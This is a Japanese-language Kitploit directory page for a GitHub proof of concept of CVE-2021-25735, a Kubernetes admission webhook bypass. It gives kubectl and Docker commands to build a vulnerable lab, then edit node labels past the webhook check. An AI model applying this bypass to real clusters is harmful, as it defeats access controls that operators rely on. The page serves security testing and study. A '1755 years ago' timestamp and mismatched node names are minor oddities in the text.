Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-25735 — CVE-2021-25735 エクスプロイト: Kubernetes 検証アドミッション Webhook バイパス | Kitploit
ツール/GitHubGitHub/darryk10/cve-2021-25735
コンテナセキュリティ脆弱性分析エクスプロイトウェブセキュリティペネトレーションテストクラウドセキュリティ
GitHubdarryk10/cve-2021-25735

CVE-2021-25735

CVE-2021-25735 エクスプロイト: Kubernetes 検証アドミッション Webhook バイパス

リポジトリを見る
1755年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-25735

CVE-2021-25735 を悪用する: Kubernetes Validating Admission Webhook バイパス

脆弱性環境のセットアップ

まず、gencerts.sh スクリプトを実行して TLS 証明書と鍵を生成します。
bash gencerts.sh

アドミッションコントローラをデプロイするには、以下のコマンドを使用して Docker コンテナイメージをローカルでビルドし、タグを付け、イメージを Dockerhub にプッシュする必要があります。
docker login
docker build -t validationwebhook:1.0 .
docker tag validationwebhook:1.0 darryk/dev:1.0
docker push darryk/dev:1.0

次に、作成したイメージを Node.js アプリケーションと共に K8s クラスタにデプロイできます。webhook-deploy.yaml は、必要なすべてのコンポーネントをクラスタにデプロイします。
kubectl apply -f webhook-deploy.yaml

次に、Webhook を Kubernetes API サーバーに登録しましょう。そのためには、先ほど作成した ca.crt ファイルの Base64 を作成し、webhook-registration.yaml 内の CA_BUNDLE を置き換えます。
cat ca.crt | base64

最後に、Webhook を Kubernetes API サーバーに登録します。
kubectl apply -f webhook-registration.yaml

CVE-2021-25735 を悪用する

edit nodes コマンドを使用してノードラベルを変更し、新しいラベルを追加します。
kubectl edit nodes ip-172-20-61-82.ec2.internal

root@kitploit:~
  labels:  
    test: test  
    changeAllowed: "false"

ChangeAllowed が "false" に設定されているため、次のエラーが発生します:

error: nodes "ip-172-20-46-130.ec2.internal" could not be patched: admission webhook "validationwebhook.validationwebhook.svc" denied the request: Validation failed You can run kubectl replace -f /tmp/kubectl-edit-irc64.yaml to try this update again.

次の変更を行ってノードの変更を再試行するとします。 \

root@kitploit:~
  labels:  
    test: test  
    changeAllowed: "true"

この場合、編集操作はアドミッションコントローラをバイパスして受け入れられます。

ツールをダウンロード